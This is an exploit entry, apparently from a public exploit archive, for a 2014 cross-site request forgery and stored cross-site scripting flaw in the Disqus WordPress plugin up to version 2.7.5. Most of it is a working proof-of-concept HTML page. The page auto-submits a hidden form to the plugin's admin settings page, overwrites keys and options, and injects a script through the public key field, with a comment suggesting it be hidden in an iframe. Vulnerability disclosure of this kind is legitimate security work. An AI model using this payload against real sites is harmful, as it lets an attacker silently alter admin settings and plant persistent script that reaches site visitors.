WordPress Plugin Disqus 2.7.5 - Cross-Site Request Forgery (Admin Persistent) / Cross-Site Scripting





Exploit for Disqus for Wordpress admin stored CSRF+XSS up to v2.7.5

Blog post explainer: https://www.nikcub.com/posts/multiple-vulnerabilities-in-disqus-wordpress-plugin/

12th August 2014

Nik Cubrilovic - www.nikcub.com

Most of these params are unfiltered/injectable. Not framable on newer Wordpress.


<body onload="javascript:document.forms[0].submit()">

<form  action="http://wordpress.dev/wp-admin/edit-comments.php?page=disqus" method="post" class="dashboard-widget-control-form">
<h1>disqus csrf reset</h1>
<!-- Idea for you: Iframe it -->
<input name="disqus_forum_url" type="hidden" value="wordpress342222222" />
<input name="disqus_replace" type="hidden" value="all" />

<!-- <input name="disqus_partner_key" type="hidden" value="1" /> -->
<input name="disqus_cc_fix" type="hidden" value="1" />
<input name="disqus_partner_key" type="hidden" value="1" />
<input name="disqus_secret_key" type="hidden" value="1" />
<!-- Your File: <input name="disqus_sso_button" type="file" /><br /> -->
<input type="submit" value="save" />
<input name="disqus_public_key" type="hidden" value='&lt;/textarea&gt;<script>alert(1);</script><textarea>' />